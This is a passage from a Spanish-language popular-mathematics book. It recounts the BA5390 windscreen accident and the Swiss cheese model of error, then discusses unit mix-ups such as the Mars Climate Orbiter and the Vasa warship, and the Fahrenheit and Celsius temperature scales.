broca	del	destornillador	cayó	varias	veces	al	suelo	y	Sam	tuvo	que	bajar	para
recuperarlo.	 Asomándose	 desde	 la	 plataforma	 de	 seguridad	 solo	 podía
alcanzar	 el	 parabrisas	 para	 apretar	 los	 tornillos,	 lo	 cual	 es	 una	 tarea	 para	 la
que	son	necesarias	dos	manos.	Al	usar	ambas	manos,	Sam	ya	no	podía	estar
seguro	 de	 si	 el	 destornillador	 se	 soltaba	 porque	 se	 había	 alcanzado	 el	 par
correcto	o	si	se	deslizaba	debido	a	que	el	tornillo	tenía	el	tamaño	incorrecto.
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Son	casi	las	cinco	de	la	mañana,	y	Sam	ya	casi	ha	acabado	su	turno.	Pero
los	tornillos	A211-9D	más	largos	que	ha	cogido	para	la	sección	más	gruesa	no
encajan.	 Me	 gusta	 imaginar	 a	 Sam	 golpeando	 con	 el	 destornillador
dinamométrico	contra	el	lateral	del	avión	mientras	solloza	en	voz	baja.	Puede
que	invente	algunas	palabrotas	nuevas.	Al	final,	decide	que	los	tornillos	que
sacó	no	estaban	 tan	mal	después	de	 todo.	Cogió	seis	y	 los	volvió	a	colocar.
Por	fin	había	acabado.

Veintisiete	horas	después	de	que	Sam	estuviera	(probablemente)	 jurando
en	hebreo	en	el	avión	comercial	birreactor	BAC	1-11,	este	estaba	preparado
en	la	pista	de	despegue	como	el	vuelo	BA5390,	listo	para	llevar	a	ochenta	y
un	pasajeros	y	a	seis	miembros	de	la	tripulación	a	Málaga,	España.	No	sé	si
usted	ha	estado	alguna	vez	en	Birmingham,	Inglaterra,	o	en	Málaga,	España,
pero	yo	sí,	y	le	puedo	asegurar	que	Málaga	es	una	mejora	significativa.	Todo
el	mundo	a	bordo	estaba	de	buen	humor.

Trece	minutos	después	del	despegue,	el	avión	estaba	a	unos	17.300	pies
de	altitud	y	las	azafatas	estaban	a	punto	de	empezar	con	el	servicio	de	comida
y	bebida.	Se	produce	un	estallido	 fuerte	cuando	el	parabrisas	cae	y	 revienta
hacia	afuera,	provocando	que	la	cabina	sufra	una	descompresión	en	tan	solo
dos	 segundos.	El	 aire	 se	 volvió	neblinoso	debido	 al	 cambio	 repentino	de	 la
presión.

El	 sobrecargo	 Nigel	 Ogden	 fue	 a	 toda	 prisa	 a	 la	 cabina	 de	 vuelo
encontrándose	 al	 copiloto	 que	 estaba	 intentando	 recuperar	 el	 control	 de	 la
aeronave	porque	el	piloto	había	sido	succionado	por	la	abertura	de	la	ventana,
golpeándose	 contra	 la	 columna	 de	 mando	 y	 desactivando	 así	 el	 piloto
automático.	Bueno,	su	cuerpo	casi	está	fuera	de	la	ventana.	Está	enganchado
en	el	marco	del	parabrisas,	por	lo	que	sus	piernas	todavía	están	dentro	de	la
nave.	Ogden	se	las	arregla	para	agarrar	al	piloto	por	sus	piernas	para	impedir
que	saliera	volando.

El	copiloto,	Alistair	Atcheson,	fue	capaz	de	recuperar	el	control	del	avión
y	aterrizarlo,	con	medio	cuerpo	del	capitán	Tim	Lancaster	colgando	fuera	de
la	ventana.	La	tripulación	se	iba	turnando	para	ir	agarrándolo	de	las	piernas.
Sobrevivió	 todo	 el	 mundo,	 incluyendo	 al	 capitán	 Lancaster,	 que	 se	 pasó
veintidós	minutos	fuera	del	avión,	y	que	se	pudo	recuperar	completamente	y
volver	a	pilotar.

Es	una	historia	increíble.	Un	relato	extraordinario	de	cómo	una	tripulación
supo	 reaccionar	 a	 un	 desastre	 repentino	 y	 catastrófico	 y	 se	 las	 arregló	 para
aterrizar	 la	 nave	 sin	 que	 se	 perdiera	 ninguna	 vida.	 Pero	 estoy	 igualmente
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asombrado	 por	 cómo	 pudo	 fallar	 el	 parabrisas.	 Se	 hacen	 tantos	 controles
rigurosos	que	algo	como	lo	que	he	contado	no	debería	poder	ocurrir.

La	 respuesta	 corta	 e	 injusta	 es	 que	Sam	utilizó	 los	 tornillos	 incorrectos.
Cuando	 estaba	 en	 el	 almacén	 de	 recambios	 situado	 bajo	 la	 terminal
internacional	 del	 aeropuerto	 de	 Birmingham	 no	 cogió	 tornillos	 del	 modelo
A211-7D	 como	 creyó,	 sino	 que	 eran	 del	 modelo	 A211-8C.	 Estos	 tornillos
tienen	 un	 diámetro	 ligeramente	 menor,	 lo	 que	 significa	 que	 se	 pueden
arrancar	de	la	rosca	diseñada	para	soportar	tornillos	7D.	Cuando	miro	en	mi
despacho	ambos	tipos	de	tornillo	bajo	la	luz	clara	del	día,	pienso	que	podría
cometer	 el	 mismo	 error	 fácilmente,	 sin	 la	 presión	 añadida	 que	 tuvo	 que
soportar	Sam.

Forma	parte	de	nuestra	naturaleza	culpar	a	alguien	cuando	las	cosas	salen
mal.	Pero	los	errores	humanos	individuales	son	inevitables.	Decirle	a	la	gente
que	no	cometa	error	alguno	es	una	forma	muy	ingenua	de	intentar	evitar	que
se	 produzcan	 accidentes	 y	 desastres.	 James	 Reason	 es	 profesor	 emérito	 de
psicología	en	la	Universidad	de	Manchester,	cuya	investigación	se	centra	en
los	 errores	 humanos.	 Postuló	 el	 modelo	 del	 queso	 suizo	 para	 analizar	 los
desastres,	que	se	fija	en	el	sistema	completo	en	lugar	de	concentrarse	en	las
personas	individuales.

El	 modelo	 del	 queso	 suizo	 se	 fija	 en	 cómo	 las	 «defensas,	 barreras	 y
salvaguardias	son	atravesadas	por	la	trayectoria	que	sigue	un	accidente».	Este
modelo	contempla	 los	accidentes	de	 forma	parecida	a	un	aluvión	de	piedras
que	caen	sobre	un	sistema:	solo	aquellas	que	llegan	hasta	el	final	provocan	un
desastre.	Dentro	del	sistema	existen	múltiples	capas,	cada	una	con	sus	propias
defensas	 y	 salvaguardias	 que	 ralentizan	 los	 errores.	 Pero	 cada	 capa	 tiene
agujeros.	Son	como	rodajas	de	queso	suizo.
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En	ocasiones	todos	los	agujeros	de	tu	queso	se	alinean.

Me	encanta	esta	forma	de	analizar	los	accidentes,	porque	reconoce	que	es
inevitable	que	los	humanos	cometan	errores	durante	un	cierto	porcentaje	del
tiempo.	 El	 enfoque	 pragmático	 se	 basa	 en	 reconocer	 este	 aspecto	 y	 en
construir	un	sistema	lo	suficientemente	robusto	para	filtrar	los	errores	antes	de
que	se	conviertan	en	desastres.	Cuando	se	produce	un	desastre,	es	un	fallo	de
todo	el	sistema	y	puede	ser	injusto	culpar	a	un	único	humano.

Como	experto	de	pacotilla,	me	parece	que	las	disciplinas	de	la	ingeniería
y	 la	 aviación	 son	 bastante	 adecuadas	 para	 este	modelo.	Cuando	 investigaba
para	 este	 libro,	 leí	 un	 montón	 de	 informes	 sobre	 accidentes	 y	 eran
generalmente	 buenos	 a	 la	 hora	 de	 analizar	 todo	 el	 sistema.	 Mi	 impresión
desinformada	es	que,	en	algunas	industrias,	como	la	medicina	o	las	finanzas,
que	tienden	a	culpar	a	un	individuo,	ignorar	el	sistema	en	su	conjunto	puede
conducir	 a	 una	 cultura	 en	 la	 que	 no	 se	 admiten	 los	 errores	 cuando	 estos
suceden.	Lo	que	hace	que,	irónicamente,	el	sistema	sea	menos	capaz	de	lidiar
con	ellos.

Pero	del	mismo	modo	que	sucede	en	un	queso	suizo	real,	a	veces	todos	los
agujeros	 se	 alinean	 aleatoriamente[20].	 Sucesos	 poco	 probables	 se	 producen
ocasionalmente.	 Que	 es	 lo	 que	 ocurrió	 con	 el	 desastre	 del	 vuelo	 BA5390.
Tuvieron	 que	 salir	 mal	 muchas	 cosas	 para	 que	 la	 ventana	 reventara	 hacia
afuera:
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Sam	escogió	los	tornillos	incorrectos
El	 almacén	 principal	 no	 tenía	 suficientes	 tornillos	 del	 modelo
que	Sam	necesitaba.	Si	 se	hubieran	 repuesto	 como	 toca	podría
haber	cogido	los	tornillos	7D	que	estaba	buscando.
El	 almacén,	 que	 carecía	 de	 personal,	 estaba	 desorganizado.
Durante	 la	 investigación	 se	 descubrió	 que,	 de	 los	 294	 cajones
que	 contenían	 material,	 a	 25	 de	 ellos	 les	 faltaba	 una	 etiqueta
identificativa	y	que,	de	los	269	que	sí	tenían,	solo	163	contenían
lo	que	tocaba.
El	almacén	estaba	muy	poco	iluminado	y,	al	no	llevar	sus	gafas,
Sam	 no	 se	 dio	 cuenta	 de	 que	 había	 escogido	 los	 tornillos
equivocados.

Sam	no	se	dio	cuenta	de	que	los	tornillos	no	encajaban	correctamente
Debió	notar	que	la	rosca	del	tornillo	patinaba	cuando	entraba	en
la	 contratuerca.	 Aunque	 ese	 deslizamiento	 parecía	 igual	 que
cuando	 el	 destornillador	 dinamométrico	 alcanzaba	 el	 par
requerido.
Los	tornillos	8C	que	Sam	utilizó	tenían	la	cabeza	más	pequeña
que	los	7D	que	extrajo,	y	parecía	algo	obvio,	porque	no	llenaban
el	 avellanado	 hecho	 para	 las	 cabezas	 de	 los	 tornillos.	 Excepto
que	 el	 método	 a	 dos	 manos	 que	 utilizó	 para	 mantener	 el
destornillador	montado	impidió	que	se	diera	cuenta.

Nadie	revisó	el	trabajo	de	Sam
Si	 Sam	 no	 hubiera	 sido	 el	 jefe	 de	 mantenimiento,	 su	 trabajo
hubiera	sido	revisado	por,	bueno,	el	jefe	de	mantenimiento.
Aunque	 parezca	 increíble,	 el	 parabrisas	 no	 estaba	 clasificado
como	«punto	crítico»	susceptible	de	fallo	catastrófico,	y	solo	las
partes	calificadas	como	tales	tienen	que	comprobarse	dos	veces,
incluso	 aunque	 el	 trabajo	 haya	 sido	 realizado	 por	 el	 jefe	 de
mantenimiento.

El	parabrisas	podía	estallar	hacia	afuera
Las	partes	de	un	avión	se	suelen	diseñar	siguiendo	el	principio
«de	 tapón»,	 que	 es	 una	 especie	 de	 mecanismo	 de	 seguridad
pasiva.	 Si	 el	 parabrisas	 se	 hubiera	 encajado	 por	 dentro,	 la
presión	 del	 aire	 del	 interior	 de	 la	 cabina	 hubiera	 ayudado	 a
mantenerlo	en	su	lugar.	Pero,	dado	que	se	encajó	por	fuera,	los
tornillos	 estaban	 luchando	 contra	 la	 presión	 interna	 de	 la
cabina[21].
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Se	 me	 ocurren	 otras	 cosas	 que	 podrían	 haber	 evitado	 el	 desastre.	 Los
estándares	británicos	para	los	tornillos	A211	podrían	obligar	a	que	lleven	una
inscripción	 en	 el	 propio	 tornillo,	 en	 lugar	 de	 únicamente	 en	 el	 paquete.	 La
documentación	de	mantenimiento	de	British	Airways	podría	haber	sido	más
explícita	sobre	la	complejidad	de	ese	trabajo.	La	Autoridad	de	Aviación	Civil
podría	exigir	que	se	realizase	una	prueba	de	presión	después	de	que	se	realice
esa	tarea	sobre	presión	del	fuselaje.	La	lista	podría	seguir.

En	este	caso,	el	efecto	que	pasa	desapercibido	es	que,	mientras	que	cada
uno	de	estos	pasos	individuales	es	más	que	probable,	la	probabilidad	de	que
se	 realicen	 todos	 ellos	 simultáneamente	 es	 muy	 pequeña.	 Siempre	 habrá
algunos	errores	que	se	cuelen	por	algunas	capas	del	queso,	pero	rara	vez	hay
los	 suficientes	 agujeros	 alineados	 como	para	que	 los	 errores	provoquen	una
catástrofe.

No	resulta	muy	reconfortante	pensar	que,	en	el	ámbito	de	la	aviación,	se
producen	 a	 todas	 horas	 errores	 pequeños	 y	 circunstancias	 desafortunadas	 y
que	 solo	 estamos	 a	 salvo	 por	medidas	 de	 última	 hora	 que	 funcionan	 como
toca	 y	 neutralizan	 la	 amenaza.	 Pero,	 estadísticamente,	 así	 son	 las	 cosas,	 y
podemos	decir	que,	estadísticamente,	estamos	muy	seguros.	Podemos	creer	en
los	quesos.

Cualquiera	que	ya	 tenga	miedo	a	volar	es	mejor	que	deje	de	 leer	 lo	que
viene	 a	 continuación	 y	 pase	 directamente	 a	 la	 siguiente	 sección.	 No	 se
preocupe,	no	se	pierde	nada	importante.

Para	todos	los	demás:	este	es	un	análisis	sobre	cómo	se	pueden	producir
errores	menores	 sin	 ramificación	 alguna.	 ¿Recuerda	 esos	 tornillos	A211-7D
que	 Sam	 extrajo	 del	 parabrisas	 original?	 Esa	 ventana	 del	 avión	 comercial
birreactor	BAC	1-11	debería	haber	utilizado	tornillos	A211-8D.	No	eran	 los
que	 tocaba.	 Cuando	 la	 British	 Airways	 adquirió	 el	 avión,	 los	 tornillos	 que
llevaba	puestos	eran	los	equivocados.	Había	estado	volando	con	los	tornillos
erróneos	durante	años.

A	 lo	 largo	 de	 la	 investigación	 encontraron	 ochenta	 de	 los	 antiguos
tornillos	que	Sam	había	 retirado:	 setenta	y	ocho	eran	del	modelo	 incorrecto
(7D)	 y	 solo	 dos	 eran	 8D.	El	 avión	 había	 estado	 volando	 con	 unos	 tornillos
para	 el	 parabrisas	 que	 eran	 ligeramente	más	 cortos.	 Por	 suerte,	 los	 tornillos
seleccionados	eran	 lo	suficientemente	 largos	para	 los	seis	puntos	de	 la	parte
más	 gruesa	 de	 la	 ventana,	 y	 ligeramente	 demasiado	 largos	 en	 los	 otros
ochenta	 y	 cuatro	 puntos.	 Los	 tornillos	 7D	 más	 cortos	 seguían	 siendo	 lo
suficientemente	largos	para	mantener	la	mayor	parte	de	la	ventana	fija	en	su
sitio.
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Irónicamente,	los	tornillos	8C	que	por	error	cogió	Sam	eran	de	la	longitud
correcta.	 Pero	 eran	 más	 delgados	 y	 no	 encajaban	 correctamente	 con	 las
tuercas;	 con	 la	 suficiente	 fuerza	 se	 podían	 arrancar,	 como	 ocurrió	 en	 el
desastre	casi	mortal.	Si	las	cosas	hubieran	salido	ligeramente	diferentes	(que
hubiera	 fallado	 el	 parabrisas	 a	 una	 altura	 superior;	 que	 el	 copiloto	 no
recuperara	el	control	de	la	aeronave),	esa	pequeña	diferencia	de	diámetro	de
0,66	milímetros	podría	fácilmente	haber	dado	como	resultado	la	muerte	de	las
ochenta	y	siete	personas	que	iban	a	bordo.

Justo	 después	 del	 accidente,	 y	 antes	 de	 que	 se	 hubiera	 finalizado	 la
investigación,	la	British	Airways	realizó	un	chequeo	de	emergencia	de	todos
sus	aviones	BAC	1-11,	retirando	y	midiendo	uno	de	cada	cuatro	tornillos	de
los	 parabrisas.	 Se	 dejaron	 en	 tierra	 dos	 aviones	más	 porque	 vieron	 que	 los
tornillos	que	tenían	eran	incorrectos.	Otra	aerolínea	realizó	una	comprobación
similar	 y	 encontró	 que	 dos	 de	 sus	 aviones	 también	 estaban	 utilizando	 los
tornillos	equivocados.

Es	aterrador.
Si	 los	 humanos	 van	 a	 seguir	 creando	 cosas	 que	 van	más	 allá	 de	 lo	 que

podemos	percibir,	entonces	necesitamos	utilizar	esa	misma	 inteligencia	para
construir	 sistemas	 que	 permitan	 que	 los	 humanos	 los	 utilicen	 y	 los
mantengan.	 O,	 para	 decirlo	 de	 otra	 forma,	 si	 los	 tornillos	 son	 demasiado
parecidos	para	distinguirlos,	mejor	 escribir	 en	ellos	 el	número	 identificativo
del	producto.
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Diez

UNIDADES,	CONVENCIONES	Y	¿POR	QUÉ	NO
PODEMOS	LLEVARNOS	TODOS	BIEN?

Un	 número	 sin	 unidades	 puede	 ser	 irrelevante.	 Si	 algo	 cuesta	 «9,97»,
queremos	 saber	 en	 qué	 tipo	 de	 moneda.	 Si	 esperamos	 que	 sean	 libras
esterlinas	 o	 dólares	 estadounidenses	 y	 resulta	 que	 son	 rupias	 indonesias	 o
bitcoins,	 nos	 llevaremos	 una	 sorpresa	 (y	 una	 sorpresa	 muy	 diferente,
dependiendo	de	cuál	de	las	dos	sea).	Gestiono	una	página	web	de	venta	al	por
menor	 afincada	 en	 el	 Reino	 Unido	 y	 recibimos	 la	 queja	 de	 un	 cliente	 por
nuestra	audacia	listando	los	precios	en	una	«moneda	extranjera».

Entonces,	¿la	cantidad	cargada	es	en	moneda	extranjera?	Es	obvio	que,	dado	que	seguramente
somos	 muchos	 los	 que	 hacemos	 pedidos	 desde	 aquí,	 nos	 gustaría	 que	 fuera	 en	 dólares
estadounidenses.

Cliente	insatisfecho	de	mathsgear.co.uk

El	 hecho	 de	 entender	 erróneamente	 las	 unidades	 puede	 cambiar
drásticamente	el	 significado	de	un	número,	por	 lo	que	existen	 toda	clase	de
ejemplos	 fantásticos	 de	 tales	 errores.	 Es	 por	 todos	 conocido	 que	 Cristóbal
Colón	utilizó	 las	millas	 italianas	 (1	milla	 italiana	=	1.477,5	metros)	 cuando
leía	las	distancias	escritas	en	millas	árabes	(1	milla	árabe	=	1.975,5	metros)	y
por	 eso	 calculó	 que	Asia	 estaba	 a	 tan	 solo	 un	 plácido	 viaje	 en	 barco	 desde
España.	El	error	que	cometió	con	las	unidades,	combinado	con	algunas	otras
suposiciones	 incorrectas,	 hizo	que	 cuando	esperaba	 llegar	 a	China	 estuviera
llegando	aproximadamente	a	lo	que	hoy	es	San	Diego.	La	distancia	real	entre
Europa	y	Asia	habría	sido	demasiado	larga	para	que	Colón	la	atravesara,	si	no
fuera	por	una	inesperada	masa	de	tierra	que	alcanzó	en	su	lugar.	Aunque	se	ha
especulado	 con	 que	 erró	 en	 los	 números	 intencionadamente	 para	 engañar	 a
sus	patrocinadores	y	a	su	tripulación.

Cuando	 estaba	 investigando	 y	 escribiendo	 este	 libro,	 la	 pregunta	 más
frecuente	que	me	planteaban	 las	personas	con	 las	que	hablé	era:	«¿Hablarás
sobre	la	nave	espacial	de	la	NASA	que	utilizó	las	unidades	equivocadas	y	se
estrelló	 en	Marte?».	 (La	 segunda	 que	más	me	 hicieron	 fue	 sobre	 el	 puente
tambaleante;	 en	este	 caso,	quienes	preguntaban	eran	 londinenses.)	Hay	algo
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en	la	confusión	de	unidades	que	le	encanta	a	la	gente.	Puede	que	sea	porque
es	un	error	muy	familiar.	Y	si	lo	combinamos	con	el	regodeo	que	produce	el
hecho	de	que	la	NASA	cometa	un	error	de	matemáticas	básicas,	lo	convierte
en	una	historia	muy	atractiva.

Y	este	es	un	caso	en	el	que	la	leyenda	urbana	creada	en	torno	a	él	es	(casi
completamente)	 cierta.	 En	 diciembre	 de	 1998,	 la	 NASA	 lanzó	 la	 nave
espacial	Mars	Climate	Orbiter,	que	tardó	nueve	meses	en	llegar	a	Marte.	Una
vez	 allí,	 una	 confusión	 entre	 unidades	 métricas	 e	 imperiales	 provocó	 un
fracaso	completo	de	la	misión	y	la	pérdida	de	la	nave	espacial[22].

Las	 naves	 espaciales	 utilizan	 volantes	 de	 inercia,	 que,	 básicamente,	 son
peonzas	enormes,	para	su	estabilidad	y	control.	El	efecto	giroscópico	significa
que,	 incluso	 en	 el	 vacío	 del	 espacio	 donde	 no	 hay	 fricción,	 la	 nave	 puede
empujar	contra	algo	y	desplazarse.	Pero,	con	el	 tiempo,	 los	volantes	pueden
acabar	girando	a	demasiada	velocidad.	Para	arreglar	este	problema,	se	lleva	a
cabo	una	desaturación	del	momento	angular	(AMD	por	sus	siglas	en	inglés)
para	 reducir	 ese	 giro,	 utilizando	 propulsores	 para	 mantener	 estable	 la	 nave
espacial,	 pero	 esto	 provoca	 un	 ligero	 cambio	 en	 la	 trayectoria.	 Un	 cambio
ligero	pero	importante.

Cada	 vez	 que	 se	 utilizan	 los	 propulsores,	 se	 transmiten	 los	 datos	 a	 la
NASA	sobre	cuán	potentes	fueron	los	fogonazos	y	cuánto	duraron.	Lockheed
Martin	 desarrolló	 un	 software	 llamado	 SM_	 FORCES	 (por	 «small	 forces»,
fuerzas	pequeñas)	para	analizar	los	datos	del	propulsor	e	introducirlos	en	un
archivo	AMD	para	que	lo	utilizase	el	equipo	de	navegación	de	la	NASA.

Y	es	ahí	donde	se	produjo	el	problema.	El	programa	SM_	FORCES	estaba
calculando	 las	 fuerzas	 en	 libras	 (técnicamente	hablando,	 en	 libras	 fuerza:	 la
fuerza	 gravitacional	 sobre	 una	 libra	 de	masa	 en	 la	 Tierra),	 mientras	 que	 el
fichero	 AMD	 estaba	 suponiendo	 que	 las	 cantidades	 que	 recibía	 venían	 en
newtons	 (la	 unidad	métrica	 de	 fuerza).	Una	 libra	 fuerza	 equivale	 a	 4,44822
newtons,	 por	 lo	 que,	 cuando	 SM_FORCES	 informaba	 en	 libras,	 el	 fichero
AMD	 pensaba	 que	 las	 cantidades	 eran	 en	 unas	 unidades	 más	 pequeñas,
newtons,	y	subestimaba	la	fuerza	en	un	factor	de	4,44822.

El	Mars	 Climate	 Orbiter	 no	 se	 estrelló	 por	 un	 enorme	 error	 de	 cálculo
cuando	llegó	a	Marte,	sino	debido	a	muchos	pequeños	errores	durante	el	curso
de	 su	 viaje	 de	 nueve	meses.	Cuando	 estaba	 preparado	 para	 entrar	 en	 órbita
alrededor	de	Marte,	el	equipo	de	navegación	de	la	NASA	pensó	que	solo	se
había	salido	de	su	ruta	ligeramente	a	causa	de	las	distintas	desaturaciones	del
momento	angular.	Esperaban	que	observara	Marte	a	una	distancia	entre	150	y
170	 kilómetros	 de	 la	 superficie,	 con	 lo	 cual	 se	 podría	 utilizar	 la	 atmósfera
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para	reducir	la	velocidad	de	la	nave	espacial	y	ponerla	así	en	órbita.	Pero	en
cambio,	se	dirigió	directamente	a	una	altitud	de	57	kilómetros	por	encima	de
la	superficie	marciana,	donde	acabó	destruida.

Falló	por	muy	poco.

Tan	solo	hizo	falta	una	confusión	de	unidades	para	destruir	los	cientos	de
millones	 de	 dólares	 de	 una	 nave	 espacial.	 Para	 que	 conste:	 las
especificaciones	para	el	software	de	la	misión	de	la	NASA	dejaban	claro	que
todas	las	unidades	han	de	ser	métricas;	el	SM_FORCES	no	se	creó	siguiendo
las	especificaciones	oficiales.	Por	lo	que	el	fallo	se	produjo	porque	la	NASA
utilizaba	unidades	métricas	y	el	contratista	era	de	la	vieja	escuela.

El	 problema	que	 derribó	 una	 nave	 espacial	moderna	 también	 hundió	 un
barco	de	guerra	del	siglo	XVII.	El	10	de	agosto	de	1628,	se	inauguró	el	barco
de	guerra	sueco	Vasa	y	se	fue	a	pique	a	los	pocos	minutos.	Durante	ese	breve
momento	 fue	 el	 barco	 de	 guerra	 armado	más	 poderoso	 del	mundo:	 llevaba
sesenta	 y	 cuatro	 cañones	 de	 bronce.	 Desafortunadamente,	 también	 era
demasiado	pesado.	Esos	cañones	no	ayudaron,	ni	tampoco	el	refuerzo	pesado
de	la	cubierta	superior	que	se	tuvo	que	colocar	para	soportarlos.	Solo	hicieron
falta	dos	fuertes	ráfagas	de	viento	y	el	barco	volcó,	hundiéndose	y	llevándose
consigo	treinta	vidas.

Por	 suerte	 para	 la	 historia,	 el	Vasa	 se	 hundió	 en	 aguas	 que	 eran	 ideales
para	 conservar	 la	madera.	 Poco	 después	 de	 su	 hundimiento,	 se	 recuperó	 la
mayoría	 de	 los	 preciados	 cañones	 de	 bronce	 y	 el	 resto	 del	 naufragio	 fue
olvidado	 (hasta	 1956,	 cuando	 el	 investigador	 de	 naufragios	Anders	Franzén
logró	 localizar	 el	Vasa).	Se	 sacó	del	 agua	 en	1961,	 y	 ahora	descansa	 en	un
museo	construido	a	medida	en	Estocolmo.	A	pesar	de	haber	pasado	tres	siglos
en	 el	 fondo	 del	 océano,	 el	 Vasa	 está	 increíblemente	 bien	 conservado.	 Le
faltan	 sus	 cañones	 y	 la	 pintura	 original,	 pero,	 aun	 así,	 parece
sorprendentemente	nuevo.
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Los	análisis	modernos	de	la	estructura	del	casco	del	Vasa	han	demostrado
que	es	asimétrico,	mucho	más	que	otros	barcos	de	la	misma	época.	Por	lo	que,
aunque	la	sobrecarga	de	la	parte	superior	del	barco	fue	claramente	un	factor
importante	de	su	falta	de	estabilidad,	un	desequilibrio	subyacente	entre	babor
y	estribor	fue	también	el	culpable.

Les	encantan	los	grandes	cascos,	y	estos	no	saben	mentir	(ni	nivelarse).

Durante	las	restauraciones	que	se	realizaron,	se	recuperaron	cuatro	reglas
diferentes.	Dos	medían	en	«pies	suecos»,	cada	uno	de	los	cuales	equivalía	a
doce	pulgadas,	y	las	otras	dos	medían	en	«pies	de	Ámsterdam»,	equivalentes
a	 solo	 once	 pulgadas.	 Las	 pulgadas	 de	 Ámsterdam	 eran	 mayores	 que	 las
suecas	 (y	 el	 pie	 también	era	de	 longitudes	diferentes).	Los	 arqueólogos	que
trabajaban	en	el	Vasa	sugirieron	que	esta	pudo	ser	la	causa	de	su	asimetría.	Si
los	 equipos	 de	 constructores	 que	 trabajaban	 en	 el	 barco	 estaban	 utilizando
pulgadas	 ligeramente	diferentes,	pero	seguían	las	mismas	 instrucciones,	esto
podría	haber	producido	partes	del	barco	con	tamaños	diferentes.	En	este	caso,
no	sabemos	cuáles	fueron	las	especificaciones	requeridas.
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No	 mucho	 después	 de	 celebrarse	 las	 elecciones	 de	 junio	 de	 2017	 en	 el	 Reino
Unido,	una	búsqueda	en	la	versión	inglesa	de	Google	de	«durante	cuánto	tiempo	ha
sido	Theresa	May	primera	ministra»	daba	como	resultado	su	altura	en	picómetros.
Cuando	se	trata	de	medir	alguna	parte	corporal	de	un	líder	político,	las	trillonésimas
de	metro	no	es	la	unidad	más	conveniente.	Excepto,	tal	vez,	para	Trump.

Si	no	puedes	con	el	calor,	sal	de	la	conversión

Por	 lo	 menos,	 las	 unidades	 de	 distancia	 están	 todas	 de	 acuerdo	 en	 dónde
empezar	 a	medir.	 En	 cuanto	 a	 la	 longitud,	 es	 evidente	 que	 existe	 un	 punto
cero:	aquel	en	el	que	no	 tienes	nada	de	nada.	Los	metros	y	 los	pies	pueden
diferir	en	el	tamaño	de	sus	intervalos,	pero	todos	ellos	empiezan	en	el	mismo
lugar.	En	cambio,	con	la	temperatura	no	está	tan	claro.	No	hay	un	punto	claro
en	 el	 que	 empiece	 una	 escala	 de	 temperaturas,	 ya	 que	 siempre	 puede	 hacer
más	frío	(según	la	experiencia	humana).

Dos	de	las	escalas	de	temperaturas	más	populares	son	la	de	Fahrenheit	y
la	de	Celsius,	y	cada	una	de	ellas	utiliza	un	enfoque	diferente	para	elegir	una
temperatura	 inicial	 de	 cero.	 El	 físico	 alemán	 Daniel	 Fahrenheit	 propuso	 la
escala	 que	 lleva	 su	 nombre	 en	 1724,	 y	 basó	 el	 punto	 cero	 en	 una	 mezcla
frigorífica.	 Si	 «frigorífica»	 no	 se	 acaba	 de	 convertir	 en	 su	 nueva	 palabra
favorita,	está	usted	frío	y	muerto	por	dentro.
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Una	mezcla	frigorífica	es	un	montón	de	sustancias	químicas	que	siempre
se	estabilizan	a	la	misma	temperatura,	por	lo	que	constituyen	un	buen	punto
de	referencia.	En	este	caso,	si	mezclamos	cloruro	de	amonio,	agua	y	hielo	y
los	agitamos,	acabarán	estando	a	0	ºF.	Si	mezclamos	únicamente	agua	y	hielo,
estará	 a	 32	 ºF,	 y	 la	mezcla	menos	 frigorífica	 de	 la	 sangre	 humana	 (aunque
estando	todavía	dentro	de	un	humano	sano)	es	a	96	ºF.	Aunque	estos	fueron
los	 puntos	 de	 referencia	 que	 utilizó,	 la	 escala	 Fahrenheit	 moderna	 se	 ha
ajustado	y	ahora	se	fija	en	la	congelación	del	agua	a	32	ºF	y	su	ebullición	en
212	ºF.	¡Frigorífico!

La	 escala	 Celsius	 fue	 creada	 más	 o	 menos	 al	 mismo	 tiempo	 por	 el
astrónomo	sueco	Anders	Celsius,	excepto	que	él	contó	en	el	sentido	contrario.
Celsius	 empezó	 con	 el	 cero	 en	 el	 punto	 de	 ebullición	 del	 agua	 a	 la	 presión
atmosférica	 normal	 y	 luego	 subía	 a	 medida	 que	 la	 temperatura	 bajaba,
congelándose	 finalmente	 el	 agua	 a	 100	 ºC.	 Mientras	 tanto,	 otras	 personas
empezaron	a	utilizar	la	convención	más	popular	de	situar	el	cero	en	el	punto
de	 congelación	 del	 agua	 e	 ir	 subiendo	 hasta	 llegar	 a	 100	 cuando	 el	 agua
hervía,	y	luego	todos	discutieron	para	ver	quién	tuvo	primero	la	idea.	No	hubo
un	ganador	claro	a	la	hora	de	saber	de	quién	fue	la	idea,	pero	la	unidad	caló	y
se	le	dio	el	nombre	neutral	de	centígrado.

Sin	 embargo,	 Celsius	 iba	 a	 ser	 el	 último	 en	 reír,	 cuando	 el	 nombre
centígrado	 chocaba	 con	 una	 unidad	 utilizada	 para	 medir	 ángulos	 (un
centígrado	 o	 gradián	 es	 un	 cuadringentésimo	 de	 un	 círculo),	 por	 lo	 que,	 en
1948,	acabó	recibiendo	su	nombre.	La	escala	Celsius	se	utiliza	hoy	en	día	casi
universalmente	 para	 medir	 la	 temperatura,	 excepto,	 al	 parecer,	 en	 algunos
países	que	 siguen	utilizando	el	Fahrenheit,	 como	Belice,	Myanmar,	Estados
Unidos	 y	 una	 parte	 importante	 de	 la	 población	 inglesa	 que	 es	 «demasiado
vieja	para	cambiar	ahora»	(a	pesar	de	que	el	Reino	Unido	lleva	intentado	ser
«métrico»	 desde	 hace	medio	 siglo).	 Esto	 significa	 que	 todavía	 es	 necesario
realizar	conversiones	entre	ambas	escalas,	y	hacerlo	con	la	temperatura	no	es
tan	sencillo	como	con	la	longitud.

La	medición	de	distancias	puede	 implicar	 tener	que	utilizar	unidades	de
diferentes	 tamaños,	 pero	 todos	 los	 sistemas	 emplean	 el	 mismo	 punto	 de
partida,	 lo	 que	 implica	 que	 no	 hay	 diferencia	 cuando	 pasamos	 de	 medidas
absolutas	a	diferencias	relativas.	Si	alguien	es	0,5	metros	más	alto	que	yo,	y
está	a	10	metros	de	mi	posición,	ambas	medidas	se	pueden	convertir	en	pies
de	 la	misma	forma	(multiplicando	por	3,28084);	no	 importa	si	10	metros	es
una	 medida	 absoluta	 y	 0,5	 es	 la	 diferencia	 entre	 dos	 medidas	 (nuestras
estaturas).	Todo	parece	muy	natural.	Pero	no	funciona	con	las	temperaturas.
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En	septiembre	de	2016,	las	noticias	de	la	BBC	informaron	de	que	Estados
Unidos	 y	 China	 habían	 firmado	 el	 Acuerdo	 de	 París	 sobre	 el	 cambio
climático,	resumiendo	el	acuerdo	de	esta	forma:	«los	países	acuerdan	reducir
